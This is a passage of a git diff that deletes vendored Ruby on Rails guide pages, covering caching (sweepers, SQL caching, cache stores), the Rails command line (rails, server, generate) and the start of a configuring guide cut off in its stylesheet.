-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> StoreSweeper <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Caching<span style="color: #990000">::</span>Sweeper
-  observe Product <span style="font-style: italic"><span style="color: #9A1900"># This sweeper is going to keep an eye on the Post model</span></span>
-
-  <span style="font-style: italic"><span style="color: #9A1900"># If our sweeper detects that a Post was created call this</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> after_create<span style="color: #990000">(</span>product<span style="color: #990000">)</span>
-          expire_cache_for<span style="color: #990000">(</span>product<span style="color: #990000">)</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-style: italic"><span style="color: #9A1900"># If our sweeper detects that a Post was updated call this</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> after_update<span style="color: #990000">(</span>product<span style="color: #990000">)</span>
-          expire_cache_for<span style="color: #990000">(</span>product<span style="color: #990000">)</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-style: italic"><span style="color: #9A1900"># If our sweeper detects that a Post was deleted call this</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> after_destroy<span style="color: #990000">(</span>product<span style="color: #990000">)</span>
-          expire_cache_for<span style="color: #990000">(</span>product<span style="color: #990000">)</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  private
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> expire_cache_for<span style="color: #990000">(</span>record<span style="color: #990000">)</span>
-    <span style="font-style: italic"><span style="color: #9A1900"># Expire the list page now that we added a new product</span></span>
-    expire_page<span style="color: #990000">(:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'#{record}'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'list'</span><span style="color: #990000">)</span>
-
-    <span style="font-style: italic"><span style="color: #9A1900"># Expire a fragment</span></span>
-    expire_fragment<span style="color: #990000">(:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'#{record}'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'recent'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action_suffix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'all_products'</span><span style="color: #990000">)</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Then we add it to our controller to tell it to call the sweeper when certain
-actions are called. So, if we wanted to expire the cached content for the
-list and edit actions when the create action was called, we could do the
-following:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ProductsController <span style="color: #990000">&lt;</span> ActionController
-
-  before_filter <span style="color: #990000">:</span>authenticate<span style="color: #990000">,</span> <span style="color: #990000">:</span>only <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span> <span style="color: #990000">:</span>edit<span style="color: #990000">,</span> <span style="color: #990000">:</span>create <span style="color: #990000">]</span>
-  caches_page <span style="color: #990000">:</span>list
-  caches_action <span style="color: #990000">:</span>edit
-  cache_sweeper <span style="color: #990000">:</span>store_sweeper<span style="color: #990000">,</span> <span style="color: #990000">:</span>only <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span> <span style="color: #990000">:</span>create <span style="color: #990000">]</span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> list<span style="color: #990000">;</span> <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
-    expire_page <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>list
-    expire_action <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>edit
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> edit<span style="color: #990000">;</span> <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<h3 id="_sql_caching">1.5. SQL Caching</h3>
-<div class="para"><p>Query caching is a Rails feature that caches the result set returned by each
-query so that if Rails encounters the same query again for that request, it
-will used the cached result set as opposed to running the query against the
-database again.</p></div>
-<div class="para"><p>For example:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ProductsController <span style="color: #990000">&lt;</span> ActionController
-
-  before_filter <span style="color: #990000">:</span>authenticate<span style="color: #990000">,</span> <span style="color: #990000">:</span>only <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span> <span style="color: #990000">:</span>edit<span style="color: #990000">,</span> <span style="color: #990000">:</span>create <span style="color: #990000">]</span>
-  caches_page <span style="color: #990000">:</span>list
-  caches_action <span style="color: #990000">:</span>edit
-  cache_sweeper <span style="color: #990000">:</span>store_sweeper<span style="color: #990000">,</span> <span style="color: #990000">:</span>only <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span> <span style="color: #990000">:</span>create <span style="color: #990000">]</span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> list
-    <span style="font-style: italic"><span style="color: #9A1900"># Run a find query</span></span>
-    Product<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">)</span>
-
-    <span style="color: #990000">...</span>
-
-    <span style="font-style: italic"><span style="color: #9A1900"># Run the same query again</span></span>
-    Product<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">)</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
-    expire_page <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>list
-    expire_action <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>edit
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> edit<span style="color: #990000">;</span> <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>In the <em>list</em> action above, the result set returned by the first
-Product.find(:all) will be cached and will be used to avoid querying the
-database again the second time that finder is called.</p></div>
-<div class="para"><p>Query caches are created at the start of an action and destroyed at the end of
-that action and thus persist only for the duration of the action.</p></div>
-<h3 id="_cache_stores">1.6. Cache stores</h3>
-<div class="para"><p>Rails provides different stores for the cached data for action and fragment
-caches. Page caches are always stored on disk.</p></div>
-<div class="para"><p>The cache stores provided include:</p></div>
-<div class="para"><p>1) Memory store: Cached data is stored in the memory allocated to the Rails
-                 process, which is fine for WEBrick and for FCGI (if you
-                 don't care that each FCGI process holds its own fragment
-                 store). It's not suitable for CGI as the process is thrown
-                 away at the end of each request. It can potentially also
-                 take up a lot of memory since each process keeps all the
-                 caches in memory.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>ActionController<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>cache_store <span style="color: #990000">=</span> <span style="color: #990000">:</span>memory_store
-</tt></pre></div></div>
-<div class="para"><p>2) File store: Cached data is stored on the disk, this is the default store
-               and the default path for this store is: /tmp/cache. Works
-               well for all types of environments and allows all processes
-               running from the same application directory to access the
-               cached content.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>ActionController<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>cache_store <span style="color: #990000">=</span> <span style="color: #990000">:</span>file_store<span style="color: #990000">,</span> <span style="color: #FF0000">"/path/to/cache/directory"</span>
-</tt></pre></div></div>
-<div class="para"><p>3) DRb store: Cached data is stored in a separate shared DRb process that all
-              servers communicate with. This works for all environments and
-              only keeps one cache around for all processes, but requires
-              that you run and manage a separate DRb process.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>ActionController<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>cache_store <span style="color: #990000">=</span> <span style="color: #990000">:</span>drb_store<span style="color: #990000">,</span> <span style="color: #FF0000">"druby://localhost:9192"</span>
-</tt></pre></div></div>
-<div class="para"><p>4) MemCached store: Works like DRbStore, but uses Danga's MemCache instead.
-                    Requires the ruby-memcache library:
-                    gem install ruby-memcache.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>ActionController<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>cache_store <span style="color: #990000">=</span> <span style="color: #990000">:</span>mem_cache_store<span style="color: #990000">,</span> <span style="color: #FF0000">"localhost"</span>
-</tt></pre></div></div>
-<div class="para"><p>5) Custom store: You can define your own cache store (new in Rails 2.1)</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>ActionController<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>cache_store <span style="color: #990000">=</span> MyOwnStore<span style="color: #990000">.</span>new<span style="color: #990000">(</span><span style="color: #FF0000">"parameter"</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-</div>
-<h2 id="_advanced_caching">2. Advanced Caching</h2>
-<div class="sectionbody">
-<div class="para"><p>Along with the built-in mechanisms outlined above, a number of excellent
-plugins exist to help with finer grained control over caching. These include
-Chris Wanstrath's excellent cache_fu plugin (more info here:
-<a href="http://errtheblog.com/posts/57-kickin-ass-w-cachefu">http://errtheblog.com/posts/57-kickin-ass-w-cachefu</a>) and Evan Weaver's
-interlock plugin (more info here:
-<a href="http://blog.evanweaver.com/articles/2007/12/13/better-rails-caching/">http://blog.evanweaver.com/articles/2007/12/13/better-rails-caching/</a>). Both
-of these plugins play nice with memcached and are a must-see for anyone
-seriously considering optimizing their caching needs.</p></div>
-</div>
-
-		</div>
-	</div>
-</body>
-</html>
diff --git a/vendor/rails/railties/doc/guides/html/command_line.html b/vendor/rails/railties/doc/guides/html/command_line.html
deleted file mode 100644
index 2add2044..00000000
--- a/vendor/rails/railties/doc/guides/html/command_line.html
+++ /dev/null
@@ -1,434 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
-<head>
-	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
-	<title>A Guide to The Rails Command Line</title>
-	<!--[if lt IE 8]>
-	<script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
-	<![endif]-->
-	<link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
-	<link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
-	<link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
-	<style type="text/css">
-		div#container {
-	max-width: 900px;
-	padding-bottom: 3em;
-}
-
-div#content {
-	margin-left: 200px;
-}
-
-div#container.notoc {
-	max-width: 600px;
-}
-
-.notoc div#content {
-	margin-left: 0;
-}
-
-pre {
-	line-height: 1.4em;
-}
-
-#content p tt {
-	background: #eeeeee;
-	border: solid 1px #cccccc;
-	padding: 3px;
-}
-
-dt {
-	font-weight: bold;
-}
-
-#content dt tt {
-	font-size: 10pt;
-}
-
-dd {
-	margin-left: 3em;
-}
-
-#content dt tt, #content pre tt {
-	background: none;
-	padding: 0;
-	border: 0;
-}
-
-#content .olist ol {
-	margin-left: 2em;
-}
-
-#header {
-	position: relative;
-	max-width: 840px;
-	margin-left: auto;
-	margin-right: auto;
-}
-
-#header.notoc {
-	max-width: 580px;
-}
-
-#logo {
-	position: absolute;
-	left: 10px;
-	top: 10px;
-	width: 110px;
-	height: 140px;
-}
-
-div#header h1#site_title {
-	background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
-	position: absolute;
-	width: 392px;
-	height: 55px;
-	left: 145px;
-	top: 20px;
-	margin: 0;
-	padding: 0;
-}
-
-#site_title span {
-	display: none;
-}
-
-#site_title_tagline {
-	display: none;
-}
-
-ul#navMain {
-	position: absolute;
-	margin: 0;
-	padding: 0;
-	top: 97px;
-	left: 145px;
-}
-
-.left-floaty, .right-floaty {
-	padding: 15px;
-}
-
-.admonitionblock,
-.tableblock {
-	margin-left: 1em;
-	margin-right: 1em;
-	margin-top: 0.25em;
-	margin-bottom: 1em;
-}
-
-.admonitionblock .icon {
-	padding-right: 8px;
-}
-
-.admonitionblock .content {
-	border: solid 1px #ffda78;
-	background: #fffebd;
-	padding: 10px;
-	padding-top: 8px;
-	padding-bottom: 8px;
-}
-
-.admonitionblock .title {
-	font-size: 140%;
-	margin-bottom: 0.5em;
-}
-
-.tableblock table {
-	border: solid 1px #aaaaff;
-	background: #f0f0ff;
-}
-
-.tableblock th {
-	background: #e0e0e0;
-}
-
-.tableblock th,
-.tableblock td {
-	padding: 3px;
-	padding-left: 5px;
-	padding-right: 5px;
-}
-
-.sidebarblock {
-	margin-top: 0.25em;
-	margin: 1em;
-	border: solid 1px #ccccbb;
-	padding: 8px;
-	background: #ffffe0;
-}
-
-.sidebarblock .sidebar-title {
-	font-size: 140%;
-	font-weight: 600;
-	margin-bottom: 0.3em;
-}
-
-.sidebarblock .sidebar-content > .para:last-child > p {
-	margin-bottom: 0;
-}
-
-.sidebarblock .sidebar-title a {
-	text-decoration: none;
-}
-
-.sidebarblock .sidebar-title a:hover {
-	text-decoration: underline;
-}
-
-	</style>
-</head>
-<body>
-	<div id="header" >
-		<div id="logo">
-			<a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
-		</div>
-		
-		<h1 id="site_title"><span>Ruby on Rails</span></h1>
-		<h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
-		<ul id="navMain">
-			<li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
-			<li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
-		</ul>
-	</div>
-
-	<div id="container">
-		
-		<div id="sidebar">
-			<h2>Chapters</h2>
-			<ol>
-					<li>
-					<a href="#_command_line_basics">Command Line Basics</a>
-						<ul>
-						
-							<li><a href="#_rails">rails</a></li>
-						
-							<li><a href="#_server">server</a></li>
-						
-							<li><a href="#_generate">generate</a></li>
-						
-						</ul>
-					</li>
-			</ol>
-		</div>
-		
-		<div id="content">
-				<h1>A Guide to The Rails Command Line</h1>
-			<div id="preamble">
-<div class="sectionbody">
-<div class="para"><p>Rails comes with every command line tool you'll need to</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Create a Rails application
-</p>
-</li>
-<li>
-<p>
-Generate models, controllers, database migrations, and unit tests
-</p>
-</li>
-<li>
-<p>
-Start a development server
-</p>
-</li>
-<li>
-<p>
-Mess with objects through an interactive shell
-</p>
-</li>
-<li>
-<p>
-Profile and benchmark your new creation
-</p>
-</li>
-</ul></div>
-<div class="para"><p>&#8230; and much, much more! (Buy now!)</p></div>
-<div class="para"><p>This tutorial assumes you have basic Rails knowledge from reading the Getting Started with Rails Guide.</p></div>
-</div>
-</div>
-<h2 id="_command_line_basics">1. Command Line Basics</h2>
-<div class="sectionbody">
-<div class="para"><p>There are a few commands that are absolutely critical to your everyday usage of Rails. In the order of how much you'll probably use them are:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-console
-</p>
-</li>
-<li>
-<p>
-server
-</p>
-</li>
-<li>
-<p>
-rake
-</p>
-</li>
-<li>
-<p>
-generate
-</p>
-</li>
-<li>
-<p>
-rails
-</p>
-</li>
-</ul></div>
-<div class="para"><p>Let's create a simple Rails application to step through each of these commands in context.</p></div>
-<h3 id="_rails">1.1. rails</h3>
-<div class="para"><p>The first thing we'll want to do is create a new Rails application by running the <tt>rails</tt> command after installing Rails.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">You know you need the rails gem installed by typing <tt>gem install rails</tt> first, right? Okay, okay, just making sure.</td>
-</tr></table>
-</div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ rails commandsapp
-
-     create
-     create  app/controllers
-     create  app/helpers
-     create  app/models
-     <span style="color: #990000">...</span>
-     <span style="color: #990000">...</span>
-     create  log/production<span style="color: #990000">.</span>log
-     create  log/development<span style="color: #990000">.</span>log
-     create  log/test<span style="color: #990000">.</span>log
-</tt></pre></div></div>
-<div class="para"><p>Rails will set you up with what seems like a huge amount of stuff for such a tiny command! You've got the entire Rails directory structure now with all the code you need to run our simple application right out of the box.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">This output will seem very familiar when we get to the <tt>generate</tt> command. Creepy foreshadowing!</td>
-</tr></table>
-</div>
-<h3 id="_server">1.2. server</h3>
-<div class="para"><p>Let's try it! The <tt>server</tt> command launches a small web server written in Ruby named WEBrick which was also installed when you installed Rails. You'll use this any time you want to view your work through a web browser.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">WEBrick isn't your only option for serving Rails. We'll get to that in a later section. [XXX: which section]</td>
-</tr></table>
-</div>
-<div class="para"><p>Here we'll flex our <tt>server</tt> command, which without any prodding of any kind will run our new shiny Rails app:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ cd commandsapp
-$ <span style="color: #990000">.</span>/script/server
-<span style="color: #990000">=&gt;</span> Booting WEBrick<span style="color: #990000">...</span>
-<span style="color: #990000">=&gt;</span> Rails <span style="color: #993399">2.2</span><span style="color: #990000">.</span><span style="color: #993399">0</span> application started on http<span style="color: #990000">://</span><span style="color: #993399">0.0</span><span style="color: #990000">.</span><span style="color: #993399">0.0</span><span style="color: #990000">:</span><span style="color: #993399">3000</span>
-<span style="color: #990000">=&gt;</span> Ctrl-C to shutdown server<span style="color: #990000">;</span> call with --help <span style="font-weight: bold"><span style="color: #0000FF">for</span></span> options
-<span style="color: #990000">[</span><span style="color: #993399">2008</span>-<span style="color: #993399">11</span>-<span style="color: #993399">04</span> <span style="color: #993399">10</span><span style="color: #990000">:</span><span style="color: #993399">11</span><span style="color: #990000">:</span><span style="color: #993399">38</span><span style="color: #990000">]</span> INFO  WEBrick <span style="color: #993399">1.3</span><span style="color: #990000">.</span><span style="color: #993399">1</span>
-<span style="color: #990000">[</span><span style="color: #993399">2008</span>-<span style="color: #993399">11</span>-<span style="color: #993399">04</span> <span style="color: #993399">10</span><span style="color: #990000">:</span><span style="color: #993399">11</span><span style="color: #990000">:</span><span style="color: #993399">38</span><span style="color: #990000">]</span> INFO  ruby <span style="color: #993399">1.8</span><span style="color: #990000">.</span><span style="color: #993399">5</span> <span style="color: #990000">(</span><span style="color: #993399">2006</span>-<span style="color: #993399">12</span>-<span style="color: #993399">04</span><span style="color: #990000">)</span> <span style="color: #990000">[</span>i486-linux<span style="color: #990000">]</span>
-<span style="color: #990000">[</span><span style="color: #993399">2008</span>-<span style="color: #993399">11</span>-<span style="color: #993399">04</span> <span style="color: #993399">10</span><span style="color: #990000">:</span><span style="color: #993399">11</span><span style="color: #990000">:</span><span style="color: #993399">38</span><span style="color: #990000">]</span> INFO  WEBrick<span style="color: #990000">::</span>HTTPServer<span style="font-style: italic"><span style="color: #9A1900">#start: pid=18994 port=3000</span></span>
-</tt></pre></div></div>
-<div class="para"><p>WHOA. With just three commands we whipped up a Rails server listening on port 3000. Go! Go right now to your browser and go to <a href="http://localhost:3000">http://localhost:3000</a>. I'll wait.</p></div>
-<div class="para"><p>See? Cool! It doesn't do much yet, but we'll change that.</p></div>
-<h3 id="_generate">1.3. generate</h3>
-<div class="para"><p>The <tt>generate</tt> command uses templates to create a whole lot of things. You can always find out what's available by running <tt>generate</tt> by itself. Let's do that:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ <span style="color: #990000">.</span>/script/generate
-Usage<span style="color: #990000">:</span> <span style="color: #990000">.</span>/script/generate generator <span style="color: #990000">[</span>options<span style="color: #990000">]</span> <span style="color: #990000">[</span>args<span style="color: #990000">]</span>
-
-<span style="color: #990000">...</span>
-<span style="color: #990000">...</span>
-
-Installed Generators
-  Builtin<span style="color: #990000">:</span> controller<span style="color: #990000">,</span> integration_test<span style="color: #990000">,</span> mailer<span style="color: #990000">,</span> migration<span style="color: #990000">,</span> model<span style="color: #990000">,</span> observer<span style="color: #990000">,</span> performance_test<span style="color: #990000">,</span> plugin<span style="color: #990000">,</span> resource<span style="color: #990000">,</span> scaffold<span style="color: #990000">,</span> session_migration
-
-<span style="color: #990000">...</span>
-<span style="color: #990000">...</span>
-</tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">You can install more generators through generator gems, portions of plugins you'll undoubtedly install, and you can even create your own!</td>
-</tr></table>
-</div>
-<div class="para"><p>Using generators will save you a large amount of time by writing <strong>boilerplate code</strong> for you &#8212; necessary for the darn thing to work, but not necessary for you to spend time writing. That's what we have computers for, right?</p></div>
-<div class="para"><p>Let's make our own controller with the controller generator. But what command should we use? Let's ask the generator:</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">All Rails console utilities have help text. For commands that require a lot of input to run correctly, you can just try the command without any parameters (like <tt>rails</tt> or <tt>./script/generate</tt>). For others, you can try adding <tt>&#8212;help</tt> or <tt>-h</tt> to the end, as in <tt>./script/server &#8212;help</tt>.</td>
-</tr></table>
-</div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ <span style="color: #990000">.</span>/script/generate controller
-Usage<span style="color: #990000">:</span> <span style="color: #990000">.</span>/script/generate controller ControllerName <span style="color: #990000">[</span>options<span style="color: #990000">]</span>
-
-<span style="color: #990000">...</span>
-<span style="color: #990000">...</span>
-
-Example<span style="color: #990000">:</span>
-    `<span style="color: #990000">.</span>/script/generate controller CreditCard open debit credit close`
-
-    Credit card controller with URLs like /credit_card/debit<span style="color: #990000">.</span>
-        Controller<span style="color: #990000">:</span> app/controllers/credit_card_controller<span style="color: #990000">.</span>rb
-        Views<span style="color: #990000">:</span>      app/views/credit_card/debit<span style="color: #990000">.</span>html<span style="color: #990000">.</span>erb <span style="color: #990000">[...]</span>
-        Helper<span style="color: #990000">:</span>     app/helpers/credit_card_helper<span style="color: #990000">.</span>rb
-        Test<span style="color: #990000">:</span>       test/functional/credit_card_controller_test<span style="color: #990000">.</span>rb
-
-Modules Example<span style="color: #990000">:</span>
-    `<span style="color: #990000">.</span>/script/generate controller <span style="color: #FF0000">'admin/credit_card'</span> <span style="font-weight: bold"><span style="color: #0000FF">suspend</span></span> late_fee`
-
-    Credit card admin controller with URLs /admin/credit_card/suspend<span style="color: #990000">.</span>
-        Controller<span style="color: #990000">:</span> app/controllers/admin/credit_card_controller<span style="color: #990000">.</span>rb
-        Views<span style="color: #990000">:</span>      app/views/admin/credit_card/debit<span style="color: #990000">.</span>html<span style="color: #990000">.</span>erb <span style="color: #990000">[...]</span>
-        Helper<span style="color: #990000">:</span>     app/helpers/admin/credit_card_helper<span style="color: #990000">.</span>rb
-        Test<span style="color: #990000">:</span>       test/functional/admin/credit_card_controller_test<span style="color: #990000">.</span>rb
-</tt></pre></div></div>
-<div class="para"><p>Ah, the controller generator is expecting parameters in the form of <tt>generate controller ControllerName action1 action2</tt>. Let's make a <tt>Greetings</tt> controller with an action of <strong>hello</strong>, which will say something nice to us.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ <span style="color: #990000">.</span>/script/generate controller Greeting hello
-     exists  app/controllers<span style="color: #990000">/</span>
-     exists  app/helpers<span style="color: #990000">/</span>
-     create  app/views/greeting
-     exists  test/functional<span style="color: #990000">/</span>
-     create  app/controllers/greetings_controller<span style="color: #990000">.</span>rb
-     create  test/functional/greetings_controller_test<span style="color: #990000">.</span>rb
-     create  app/helpers/greetings_helper<span style="color: #990000">.</span>rb
-     create  app/views/greetings/hello<span style="color: #990000">.</span>html<span style="color: #990000">.</span>erb
-</tt></pre></div></div>
-<div class="para"><p>Look there! Now what all did this generate? It looks like it made sure a bunch of directories were in our application, and created a controller file, a functional test file, a helper for the view, and a view file. All from one command!</p></div>
-</div>
-
-		</div>
-	</div>
-</body>
-</html>
diff --git a/vendor/rails/railties/doc/guides/html/configuring.html b/vendor/rails/railties/doc/guides/html/configuring.html
deleted file mode 100644
index 4aa3a0f5..00000000
--- a/vendor/rails/railties/doc/guides/html/configuring.html
+++ /dev/null
@@ -1,438 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
-<head>
-	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
-	<title>Configuring Rails Applications</title>
-	<!--[if lt IE 8]>
-	<script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
-	<![endif]-->
-	<link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
-	<link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
-	<link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
-	<style type="text/css">
-		div#container {
-	max-width: 900px;
-	padding-bottom: 3em;
-}
-
-div#content {
-	margin-left: 200px;
-}
-
-div#container.notoc {
-	max-width: 600px;
-}
-
-.notoc div#content {
-	margin-left: 0;
-}
-
-pre {
-	line-height: 1.4em;
-}
-
-#content p tt {
-	background: #eeeeee;
-	border: solid 1px #cccccc;
-	padding: 3px;
-}
-
-dt {
-	font-weight: bold;
-}
-
-#content dt tt {
-	font-size: 10pt;
-}
-
-dd {
-	margin-left: 3em;
-}
-
-#content dt tt, #content pre tt {
-	background: none;
-	padding: 0;
-	border: 0;
-}
-
-#content .olist ol {
-	margin-left: 2em;
-}
-
-#header {
-	position: relative;
-	max-width: 840px;
-	margin-left: auto;
-	margin-right: auto;
-}
-
-#header.notoc {
-	max-width: 580px;
-}
-
-#logo {
-	position: absolute;
-	left: 10px;
-	top: 10px;
-	width: 110px;
-	height: 140px;
-}
-
-div#header h1#site_title {
-	background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
-	position: absolute;
-	width: 392px;
-	height: 55px;
-	left: 145px;
-	top: 20px;
-	margin: 0;
-	padding: 0;
-}
-
-#site_title span {
-	display: none;
-}
-
-#site_title_tagline {
-	display: none;
-}
-
-ul#navMain {
-	position: absolute;
-	margin: 0;
-	padding: 0;
-	top: 97px;
-	left: 145px;
-}
-
-.left-floaty, .right-floaty {
-	padding: 15px;
-}
-
-.admonitionblock,
-.tableblock {
-	margin-left: 1em;
-	margin-right: 1em;
-	margin-top: 0.25em;
-	margin-bottom: 1em;
-}
-
-.admonitionblock .icon {
-	padding-right: 8px;
-}
-
-.admonitionblock .content {
-	border: solid 1px #ffda78;
-	background: #fffebd;
-	padding: 10px;
-	padding-top: 8px;
-	padding-bottom: 8px;
-}
-
-.admonitionblock .title {
-	font-size: 140%;
-	margin-bottom: 0.5em;
-}
-
-.tableblock table {
-	border: solid 1px #aaaaff;
-	background: #f0f0ff;
-}
-
-.tableblock th {
-	background: #e0e0e0;
-}
-
-.tableblock th,
-.tableblock td {
-	padding: 3px;
-	padding-left: 5px;
-	padding-right: 5px;
-}
-
-.sidebarblock {
-	margin-top: 0.25em;
-	margin: 1em;
-	border: solid 1px #ccccbb;
-	padding: 8px;
-	background: #ffffe0;
-}
-
-.sidebarblock .sidebar-title {
-	font-size: 140%;
-	font-weight: 600;
